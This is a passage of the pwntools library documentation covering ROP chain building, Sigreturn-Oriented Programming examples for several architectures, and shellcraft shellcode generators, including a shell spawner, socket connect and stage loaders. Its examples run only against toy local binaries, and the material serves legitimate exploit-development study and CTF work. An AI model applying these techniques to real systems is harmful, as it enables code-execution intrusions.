0x000c:              0x2 arg1
0x0010:              'eaaa' <pad>
0x0014:              'faaa' <pad>
0x0018:      0x10001234 funcname(3)
0x001c:      0x10000007 <adjust @0x24> pop eax; ret
0x0020:              0x3 arg0
0x0024:      0x10000007 pop eax; ret
0x0028:              0x77 [arg0] eax = SYS_sigreturn
0x002c:      0x10000000 int 0x80
0x0030:              0x0 gs
0x0034:              0x0 fs
0x0038:              0x0 es
0x003c:              0x0 ds
0x0040:              0x0 edi
0x0044:              0x0 esi
0x0048:              0x0 ebp
0x004c:              0x0 esp
0x0050:              0x4 ebx
0x0054:              0x6 edx
0x0058:              0x5 ecx
0x005c:              0xb eax
0x0060:              0x0 trapno
0x0064:              0x0 err
0x0068:      0x10000000 int 0x80
0x006c:              0x23 cs
0x0070:              0x0 eflags
0x0074:              0x0 esp_at_signal
0x0078:              0x2b ss
0x007c:              0x0 fpstate

```

```

>>> r = ROP(e, 0x8048000)
>>> r.funcname(1, 2)
>>> r.funcname(3)
>>> r.execve(4, 5, 6)
>>> print r.dump()
0x8048000:      0x10001234 funcname(1, 2)
0x8048004:      0x10000003 <adjust @0x8048018> add esp, 0x10; ret
0x8048008:              0x1 arg0
0x804800c:              0x2 arg1
0x8048010:              'eaaa' <pad>
0x8048014:              'faaa' <pad>
0x8048018:      0x10001234 funcname(3)
0x804801c:      0x10000007 <adjust @0x8048024> pop eax; ret
0x8048020:              0x3 arg0
0x8048024:      0x10000007 pop eax; ret
0x8048028:              0x77 [arg0] eax = SYS_sigreturn
0x804802c:      0x10000000 int 0x80
0x8048030:              0x0 gs
0x8048034:              0x0 fs
0x8048038:              0x0 es

```

(continues on next page)

(continued from previous page)

```

0x804803c:          0x0 ds
0x8048040:          0x0 edi
0x8048044:          0x0 esi
0x8048048:          0x0 ebp
0x804804c:          0x8048080 esp
0x8048050:          0x4 ebx
0x8048054:          0x6 edx
0x8048058:          0x5 ecx
0x804805c:          0xb eax
0x8048060:          0x0 trapno
0x8048064:          0x0 err
0x8048068:          0x10000000 int 0x80
0x804806c:          0x23 cs
0x8048070:          0x0 eflags
0x8048074:          0x0 esp_at_signal
0x8048078:          0x2b ss
0x804807c:          0x0 fpstate

```

```

>>> elf = ELF.from_assembly('ret')
>>> r = ROP(elf)
>>> r.ret.address == 0x10000000
True
>>> r = ROP(elf, badchars='\x00')
>>> r.gadgets == {}
True
>>> r.ret is None
True

```

Parameters

- **elfs** (*list*) – List of *ELF* objects for mining
- **base** (*int*) – Stack address where the first byte of the ROP chain lies, if known.
- **badchars** (*str*) – Characters which should not appear in ROP gadget addresses.

build (*base=None, description=None*)

Construct the ROP chain into a list of elements which can be passed to *flat()*.

Parameters

- **base** (*int*) – The base address to build the rop-chain from. Defaults to *base*.
- **description** (*dict*) – Optional output argument, which will get a mapping of address: description for each address on the stack, starting at base.

call (*resolvable, arguments=(), abi=None, **kwargs*)

Add a call to the ROP chain

Parameters

- **resolvable** (*str, int*) – Value which can be looked up via ‘resolve’, or is already an integer.
- **arguments** (*list*) – List of arguments which can be passed to *pack()*. Alternately, if a base address is set, arbitrarily nested structures of strings or integers can be provided.

chain ()

Build the ROP chain

Returns str containing raw ROP bytes

describe (*object*)

Return a description for an object in the ROP stack

dump ()

Dump the ROP chain in an easy-to-read manner

find_gadget (*instructions*)

Returns a gadget with the exact sequence of instructions specified in the *instructions* argument.

generatePadding (*offset, count*)

Generates padding to be inserted into the ROP stack.

```
>>> rop = ROP([])
>>> val = rop.generatePadding(5,15)
>>> cyclic_find(val[:4])
5
>>> len(val)
15
>>> rop.generatePadding(0,0)
''
```

migrate (*next_base*)

Explicitly set \$sp, by using a `leave; ret gadget`

raw (*value*)

Adds a raw integer or string to the ROP chain.

If your architecture requires aligned values, then make sure that any given string is aligned!

Parameters *data* (*int/str*) – The raw value to put onto the rop chain.

```
>>> rop = ROP([])
>>> rop.raw('AAAAAAAA')
>>> rop.raw('BBBBBBBB')
>>> rop.raw('CCCCCCCC')
>>> print rop.dump()
0x0000:      'AAAA' 'AAAAAAAA'
0x0004:      'AAAA'
0x0008:      'BBBB' 'BBBBBBBB'
0x000c:      'BBBB'
0x0010:      'CCCC' 'CCCCCCCC'
0x0014:      'CCCC'
```

resolve (*resolvable*)

Resolves a symbol to an address

Parameters *resolvable* (*str, int*) – Thing to convert into an address

Returns int containing address of ‘resolvable’, or None

search (*move=0, regs=None, order='size'*)

Search for a gadget which matches the specified criteria.

Parameters

- **move** (*int*) – Minimum number of bytes by which the stack pointer is adjusted.
- **regs** (*list*) – Minimum list of registers which are popped off the stack.
- **order** (*str*) – Either the string ‘size’ or ‘regs’. Decides how to order multiple gadgets the fulfill the requirements.

The search will try to minimize the number of bytes popped more than requested, the number of registers touched besides the requested and the address.

If `order == 'size'`, then gadgets are compared lexicographically by `(total_moves, total_regs, addr)`, otherwise by `(total_regs, total_moves, addr)`.

Returns A Gadget object

search_iter (*move=None, regs=None*)

Iterate through all gadgets which move the stack pointer by *at least* `move` bytes, and which allow you to set all registers in `regs`.

setRegisters (*registers*)

Returns an list of addresses/values which will set the specified register context.

Parameters **registers** (*dict*) – Dictionary of {register name: value}

Returns

A list of tuples, ordering the stack.

Each tuple is in the form of `(value, name)` where `value` is either a gadget address or literal value to go on the stack, and `name` is either a string name or other item which can be “unresolved”.

Note: This is basically an implementation of the Set Cover Problem, which is NP-hard. This means that we will take polynomial time N^{**2} , where N is the number of gadgets. We can reduce runtime by discarding useless and inferior gadgets ahead of time.

unresolve (*value*)

Inverts ‘resolve’. Given an address, it attempts to find a symbol for it in the loaded ELF files. If none is found, it searches all known gadgets, and returns the disassembly

Parameters **value** (*int*) – Address to look up

Returns String containing the symbol name for the address, disassembly for a gadget (if there’s one at that address), or an empty string.

base = None

Stack address where the first byte of the ROP chain lies, if known.

elfs = None

List of ELF files which are available for mining gadgets

migrated = None

Whether or not the ROP chain directly sets the stack pointer to a value which is not contiguous

pwnlib.rop.srop — Sigreturn Oriented Programming

Sigreturn ROP (SROP)

Sigreturn is a syscall used to restore the entire register context from memory pointed at by ESP.

We can leverage this during ROP to gain control of registers for which there are not convenient gadgets. The main caveat is that *all* registers are set, including ESP and EIP (or their equivalents). This means that in order to continue after using a sigreturn frame, the stack pointer must be set accordingly.

i386 Example:

Let’s just print a message out using SROP.

```
>>> message = "Hello, World\\n"
```

First, we'll create our example binary. It just reads some data onto the stack, and invokes the sigreturn syscall. We also make an int 0x80 gadget available, followed immediately by exit(0).

```
>>> context.clear(arch='i386')
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'esp',
↳ 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'xor ebx, ebx; mov eax, 1; int 0x80;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
```

Let's construct our frame to have it invoke a write syscall, and dump the message to stdout.

```
>>> frame = SigreturnFrame(kernel='amd64')
>>> frame.eax = constants.SYS_write
>>> frame.ebx = constants.STDOUT_FILENO
>>> frame.ecx = binary.symbols['message']
>>> frame.edx = len(message)
>>> frame.esp = 0xdeadbeef
>>> frame.eip = binary.symbols['syscall']
```

Let's start the process, send the data, and check the message.

```
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.poll(block=True)
0
```

amd64 Example:

```
>>> context.clear()
>>> context.arch = "amd64"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'rsp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'xor rdi, rdi; mov rax, 60; syscall;'
>>> assembly += 'message: ' + ('.asciz "%s"' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.rax = constants.SYS_write
>>> frame.rdi = constants.STDOUT_FILENO
>>> frame.rsi = binary.symbols['message']
>>> frame.rdx = len(message)
>>> frame.rsp = 0xdeadbeef
>>> frame.rip = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.poll(block=True)
0
```


arm Example:

```

>>> context.clear()
>>> context.arch = "arm"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'int3:' + shellcraft.trap()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + 'eor r0, r0; mov r7, 0x1; swi #0;'
>>> assembly += 'message: ' + ('.asciz "%s" ' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.r7 = constants.SYS_write
>>> frame.r0 = constants.STDOUT_FILENO
>>> frame.r1 = binary.symbols['message']
>>> frame.r2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.wait_for_close()
>>> p.poll(block=True)
0

```

Mips Example:

```

>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "big"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()
>>> assembly += 'syscall: ' + shellcraft.syscall()
>>> assembly += 'exit: ' + shellcraft.exit(0)
>>> assembly += 'message: ' + ('.asciz "%s" ' % message)
>>> binary = ELF.from_assembly(assembly)
>>> frame = SigreturnFrame()
>>> frame.v0 = constants.SYS_write
>>> frame.a0 = constants.STDOUT_FILENO
>>> frame.a1 = binary.symbols['message']
>>> frame.a2 = len(message)
>>> frame.sp = 0xdead0000
>>> frame.pc = binary.symbols['syscall']
>>> p = process(binary.path)
>>> p.send(str(frame))
>>> p.recvline()
'Hello, World\n'
>>> p.poll(block=True)
0

```

Mipsel Example:

```

>>> context.clear()
>>> context.arch = "mips"
>>> context.endian = "little"
>>> assembly = 'read:' + shellcraft.read(constants.STDIN_FILENO, '$sp', 1024)
>>> assembly += 'sigreturn:' + shellcraft.sigreturn()

```

(continues on next page)


```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> p = run_shellcode(bytes)
>>> p.wait_for_close()
>>> p.poll()
3
```

```
>>> bytes = asm('mov r0, #12; mov r7, #1; svc #0', arch='arm')
>>> p = run_shellcode(bytes, arch='arm')
>>> p.wait_for_close()
>>> p.poll()
12
```

`pwntools.runner.run_assembly_exitcode(*a, **kw)`

Given an assembly listing, assemble and execute it, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> run_assembly_exitcode('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
3
```

`pwntools.runner.run_shellcode_exitcode(*a, **kw)`

Given assembled machine code bytes, execute them, and wait for the process to die.

Returns The exit code of the process.

Example

```
>>> bytes = asm('mov ebx, 3; mov eax, SYS_exit; int 0x80;')
>>> run_shellcode_exitcode(bytes)
3
```

2.24 pwntools.shellcraft — Shellcode generation

The shellcode module.

This module contains functions for generating shellcode.

It is organized first by architecture and then by operating system.

2.24.1 Submodules

`pwntools.shellcraft.aarch64` — Shellcode for AArch64

`pwntools.shellcraft.aarch64`

`pwntools.shellcraft.aarch64.breakpoint()`

Inserts a debugger breakpoint (raises SIGTRAP).

Example

```
>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5
```

`pwnlib.shellcraft.aarch64.crash()`
Crashes the process.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.aarch64.infloop()`
An infinite loop.

Example

```
>>> io = run_assembly(shellcraft.infloop())
>>> io.recvall(timeout=1)
''
>>> io.close()
```

`pwnlib.shellcraft.aarch64.mov(dst, src)`
Move `src` into `dest`.

Support for automatically avoiding newline and null bytes has to be done.

If `src` is a string that is not a register, then it will locally set `context.arch` to `'arm'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Examples

```
>>> print shellcraft.mov('x0', 'x1').rstrip()
mov x0, x1
>>> print shellcraft.mov('x0', '0').rstrip()
mov x0, xzr
>>> print shellcraft.mov('x0', 5).rstrip()
mov x0, #5
>>> print shellcraft.mov('x0', 0x34532).rstrip()
/* Set x0 = 214322 = 0x34532 */
mov x0, #17714
movk x0, #3, lsl #16
```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.aarch64.push` (*value*, *register1*='x14', *register2*='x15')

Pushes a value onto the stack without using null bytes or newline characters.

If *src* is a string, then we try to evaluate using `pwnlib.constants.eval()` before determining how to push it.

Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Note: AArch64 requires that the stack remain 16-byte aligned at all times, so this alignment is preserved.

Parameters

- **value** (*int*, *str*) – The value or register to push
- **register1** (*str*) – Scratch register to use
- **register2** (*str*) – Second scratch register to use

Example

```
>>> print pwnlib.shellcraft.push(0).rstrip()
/* push 0 */
mov x14, xzr
str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push(1).rstrip()
/* push 1 */
mov x14, #1
str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push(256).rstrip()
/* push 0x100 */
mov x14, #256
str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push('SYS_execve').rstrip()
/* push SYS_execve (0xdd) */
mov x14, #221
str x14, [sp, #-16]!
>>> print pwnlib.shellcraft.push('SYS_sendfile').rstrip()
/* push SYS_sendfile (0x47) */
mov x14, #71
str x14, [sp, #-16]!
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.push('SYS_execve').rstrip()
...
/* push SYS_execve (0x3b) */
mov x14, #59
str x14, [sp, #-16]!
```

`pwnlib.shellcraft.aarch64.pushstr` (*string*, *append_null*=True, *register1*='x14', *register2*='x15', *pretty*=None)

Pushes a string onto the stack.

r12 is defined as the inter-procedural scratch register (\$ip), so this should not interfere with most usage.

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```

>>> print shellcraft.pushstr("Hello!").rstrip()
/* push 'Hello!\x00' */
/* Set x14 = 36762444129608 = 0x216f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #8559, lsl #0x20
str x14, [sp, #-16]!
>>> print shellcraft.pushstr("Hello, world!").rstrip()
/* push 'Hello, world!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 143418749551 = 0x21646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #33, lsl #0x20
stp x14, x15, [sp, #-16]!
>>> print shellcraft.pushstr("Hello, world, bienvenue").rstrip()
/* push 'Hello, world, bienvenue\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 28558089656888933 = 0x65756e65766e65 */
mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #101, lsl #0x30
str x14, [sp, #-16]!
>>> print shellcraft.pushstr("Hello, world, bienvenue!").rstrip()
/* push 'Hello, world, bienvenue!\x00' */
/* Set x14 = 8583909746840200520 = 0x77202c6f6c6c6548 */
mov x14, #25928
movk x14, #27756, lsl #16
movk x14, #11375, lsl #0x20
movk x14, #30496, lsl #0x30
/* Set x15 = 7593667296735556207 = 0x6962202c646c726f */
mov x15, #29295
movk x15, #25708, lsl #16
movk x15, #8236, lsl #0x20
movk x15, #26978, lsl #0x30
stp x14, x15, [sp, #-16]!
/* Set x14 = 2406458692908510821 = 0x2165756e65766e65 */

```

(continues on next page)

(continued from previous page)

```

mov x14, #28261
movk x14, #25974, lsl #16
movk x14, #30062, lsl #0x20
movk x14, #8549, lsl #0x30
mov x15, xzr
stp x14, x15, [sp, #-16]!

```

`pwnlib.shellcraft.aarch64.setregs` (*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1, ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```

>>> print shellcraft.setregs({'x0':1, 'x2':'x3'}).rstrip()
mov x0, #1
mov x2, x3
>>> print shellcraft.setregs({'x0':'x1', 'x1':'x0', 'x2':'x3'}).rstrip()
mov x2, x3
eor x0, x0, x1 /* xchg x0, x1 */
eor x1, x0, x1
eor x0, x0, x1

```

`pwnlib.shellcraft.aarch64.trap` ()

Inserts a debugger breakpoint (raises SIGTRAP).

Example

```

>>> run_assembly(shellcraft.breakpoint()).poll(True)
-5

```

`pwnlib.shellcraft.aarch64.xor` (*key*, *address*, *count*)

XORs data a constant value.

Parameters

- **key** (*int*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. `0xdead0000`, `'rsp'`)
- **count** (*int*) – Number of bytes to XOR.

Example

```

>>> sc = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)

```

(continues on next page)

(continued from previous page)

```
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.aarch64.linux

pwnlib.shellcraft.aarch64.linux.**cat** (*filename*, *fd=1*)
 Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> write('flag', 'This is the flag\n')
>>> shellcode = shellcraft.cat('flag') + shellcraft.exit(0)
>>> print disasm(asm(shellcode))
0:  d28d8cce      mov     x14, #0x6c66                // #27750
4:  f2acec2e     movk   x14, #0x6761, lsl #16
8:  f81f0fee     str    x14, [sp, #-16]!
c:  d29ff380     mov    x0, #0xff9c                // #65436
10: f2bfffef     movk   x0, #0xffff, lsl #16
14: f2dfffef     movk   x0, #0xffff, lsl #32
18: f2ffffef     movk   x0, #0xffff, lsl #48
1c: 910003e1     mov    x1, sp
20: aal1f03e2     mov    x2, xzr
24: aal1f03e3     mov    x3, xzr
28: d2800708     mov    x8, #0x38                // #56
2c: d4000001     svc    #0x0
30: aa0003e1     mov    x1, x0
34: d2800020     mov    x0, #0x1                // #1
38: aal1f03e2     mov    x2, xzr
3c: d29ffffe3     mov    x3, #0xffff                // #65535
40: f2afffe3     movk   x3, #0x7fff, lsl #16
44: d28008e8     mov    x8, #0x47                // #71
48: d4000001     svc    #0x0
4c: aal1f03e0     mov    x0, xzr
50: d2800ba8     mov    x8, #0x5d                // #93
54: d4000001     svc    #0x0
>>> run_assembly(shellcode).recvline()
'This is the flag\n'
```

pwnlib.shellcraft.aarch64.linux.**connect** (*host*, *port*, *network='ipv4'*)
 Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in x12.

pwnlib.shellcraft.aarch64.linux.**echo** (*string*, *sock='1'*)
 Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
'hello\n'
```

`pwnlib.shellcraft.aarch64.linux.forkexit()`

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.aarch64.linux.loader(address)`

Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.aarch64.linux.loader_append(data=None)`

Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters `data` (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> gcc = process(['aarch64-linux-gnu-gcc', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-'])
# >>> gcc.write(""" # ... int main() { # ... printf("Hello, %s!\n", "world"); # ... } # ... """) # >>>
gcc.shutdown('send') # >>> gcc.poll(True) # 0 # >>> sc = shellcraft.loader_append('a.out') # >>>
run_assembly(sc).recvline() # 'Hello, world!\n'
```

`pwnlib.shellcraft.aarch64.linux.open(filename, flags='O_RDONLY', mode=0)`

Opens a file

`pwnlib.shellcraft.aarch64.linux.readn(fd, buf, nbytes)`

Reads exactly `nbytes` bytes from file descriptor `fd` into the buffer `buf`.

Parameters

- `fd` (*int*) – `fd`
- `buf` (*void*) – `buf`
- `nbytes` (*size_t*) – `nbytes`

`pwnlib.shellcraft.aarch64.linux.sh()`

Execute a different process.

```
>>> p = run_assembly(shellcraft.aarch64.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.aarch64.linux.socket(network='ipv4', proto='tcp')`

Creates a new socket

`pwnlib.shellcraft.aarch64.linux.stage(fd=0, length=None)`

Migrates shellcode to a new buffer.

Parameters

- `fd` (*int*) – Integer file descriptor to recv data from. Default is `stdin` (0).
- `length` (*int*) – Optional buffer length. If `None`, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.aarch64.linux.syscall` (*syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None, arg6=None*)

Args: [`syscall_number`, `*args`] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print shellcraft.aarch64.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
/* call syscall(11, 1, 'sp', 2, 0) */
mov x0, #1
mov x1, sp
mov x2, #2
mov x3, xzr
mov x8, #11
svc 0
>>> print shellcraft.aarch64.linux.syscall('SYS_exit', 0).rstrip()
/* call exit(0) */
mov x0, xzr
mov x8, #SYS_exit
svc 0
>>> print pwnlib.shellcraft.openat(-2, '/home/pwn/flag').rstrip()
/* openat(fd=-2, file='/home/pwn/flag', oflag=0) */
/* push '/home/pwn/flag\x00' */
/* Set x14 = 8606431000579237935 = 0x77702f656d6f682f */
mov x14, #26671
movk x14, #28015, lsl #16
movk x14, #12133, lsl #0x20
movk x14, #30576, lsl #0x30
/* Set x15 = 113668128124782 = 0x67616c662f6e */
mov x15, #12142
movk x15, #27750, lsl #16
movk x15, #26465, lsl #0x20
stp x14, x15, [sp, #-16]!
mov x1, sp
/* Set x0 = -2 = -2 */
mov x0, #65534
movk x0, #65535, lsl #16
movk x0, #65535, lsl #0x20
movk x0, #65535, lsl #0x30
mov x2, xzr
/* call openat() */
mov x8, #SYS_openat
svc 0
```

`pwnlib.shellcraft.amd64` — Shellcode for AMD64

`pwnlib.shellcraft.amd64`

Shellcraft module containing generic Intel x86_64 shellcodes.

`pwnlib.shellcraft.amd64.crash()`
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.amd64.infloop()`
A two-byte infinite loop.

`pwnlib.shellcraft.amd64.itoa(v, buffer='rsp', allocate_stack=True)`
Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- `v` (*str*, *int*) – Integer constant or register that contains the value to convert.
- `alloca` –

Example

```
>>> sc = shellcraft.amd64.mov('rax', 0xdeadbeef)
>>> sc += shellcraft.amd64.itoa('rax')
>>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

`pwnlib.shellcraft.amd64.memcpy(dest, src, n)`
Copies memory.

Parameters

- `dest` – Destination address
- `src` – Source address
- `n` – Number of bytes

`pwnlib.shellcraft.amd64.mov(dest, src, stack_allowed=True)`
Move `src` into `dest` without newlines and null bytes.

If the `src` is a register smaller than the `dest`, then it will be zero-extended to fit inside the larger register.

If the `src` is a register larger than the `dest`, then only some of the bits will be used.

If `src` is a string that is not a register, then it will locally set `context.arch` to `'amd64'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Example

```

>>> print shellcraft.amd64.mov('eax', 'ebx').rstrip()
mov eax, ebx
>>> print shellcraft.amd64.mov('eax', 0).rstrip()
xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('ax', 0).rstrip()
xor ax, ax /* 0 */
>>> print shellcraft.amd64.mov('rax', 0).rstrip()
xor eax, eax /* 0 */
>>> print shellcraft.amd64.mov('rdi', 'ax').rstrip()
movzx edi, ax
>>> print shellcraft.amd64.mov('al', 'ax').rstrip()
/* moving ax into al, but this is a no-op */
>>> print shellcraft.amd64.mov('ax', 'bl').rstrip()
movzx ax, bl
>>> print shellcraft.amd64.mov('eax', 1).rstrip()
push 1
pop rax
>>> print shellcraft.amd64.mov('rax', 0xc0).rstrip()
xor eax, eax
mov al, 0xc0
>>> print shellcraft.amd64.mov('rax', 0xc000).rstrip()
xor eax, eax
mov ah, 0xc000 >> 8
>>> print shellcraft.amd64.mov('rax', 0xc0c0).rstrip()
xor eax, eax
mov ax, 0xc0c0
>>> print shellcraft.amd64.mov('rdi', 0xff).rstrip()
mov edi, 0x1010101 /* 255 == 0xff */
xor edi, 0x10101fe
>>> print shellcraft.amd64.mov('rax', 0xdead00ff).rstrip()
mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
xor eax, 0xdfac01fe
>>> print shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip()
mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
push rax
mov rax, 0x1010110dfac01fe
xor [rsp], rax
pop rax
>>> print shellcraft.amd64.mov('rax', 0xffffffff).rstrip()
mov eax, 0xffffffff
>>> print shellcraft.amd64.mov('rax', 0x7fffffff).rstrip()
mov eax, 0x7fffffff
>>> print shellcraft.amd64.mov('rax', 0x80010101).rstrip()
mov eax, 0x80010101
>>> print shellcraft.amd64.mov('rax', 0x80000000).rstrip()
mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
xor eax, 0x81010101
>>> print shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip()
push 0xffffffffffffffff
pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()
...     xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
...     print shellcraft.amd64.mov('eax', 'SYS_read').rstrip()

```

(continues on next page)

(continued from previous page)

```

push SYS_read /* 3 */
pop rax
>>> with context.local(os = 'linux'):
...     print shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').
↳rstrip()
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rax

```

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

`pwnlib.shellcraft.amd64.nop()`

A single-byte nop instruction.

`pwnlib.shellcraft.amd64.popad()`

Pop all of the registers onto the stack which i386 popad does, in the same order.

`pwnlib.shellcraft.amd64.push(value)`

Pushes a value onto the stack without using null bytes or newline characters.

If `src` is a string, then we try to evaluate with `context.arch = 'amd64'` using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters `value` (*int, str*) – The value or register to push

Example

```

>>> print pwnlib.shellcraft.amd64.push(0).rstrip()
/* push 0 */
push 1
dec byte ptr [rsp]
>>> print pwnlib.shellcraft.amd64.push(1).rstrip()
/* push 1 */
push 1
>>> print pwnlib.shellcraft.amd64.push(256).rstrip()
/* push 256 */
push 0x1010201 ^ 0x100
xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
/* push 'SYS_write' */
push 1
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.amd64.push('SYS_write').rstrip()
/* push 'SYS_write' */
push 4

```

`pwnlib.shellcraft.amd64.pushad()`

Push all of the registers onto the stack which i386 pushad does, in the same order.

`pwnlib.shellcraft.amd64.pushstr` (*string*, *append_null=True*)
 Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.amd64.pushstr('').rstrip()
/* push '\x00' */
push 1
dec byte ptr [rsp]
>>> print shellcraft.amd64.pushstr('a').rstrip()
/* push 'a\x00' */
push 0x61
>>> print shellcraft.amd64.pushstr('aa').rstrip()
/* push 'aa\x00' */
push 0x1010101 ^ 0x6161
xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaa').rstrip()
/* push 'aaa\x00' */
push 0x1010101 ^ 0x616161
xor dword ptr [rsp], 0x1010101
>>> print shellcraft.amd64.pushstr('aaaa').rstrip()
/* push 'aaaa\x00' */
push 0x61616161
>>> print shellcraft.amd64.pushstr('aaa\xc3').rstrip()
/* push 'aaa\xc3\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0xc3616161
xor [rsp], rax
>>> print shellcraft.amd64.pushstr('aaa\xc3', append_null = False).rstrip()
/* push 'aaa\xc3' */
push -0x3c9e9e9f
>>> print shellcraft.amd64.pushstr('\xc3').rstrip()
/* push '\xc3\x00' */
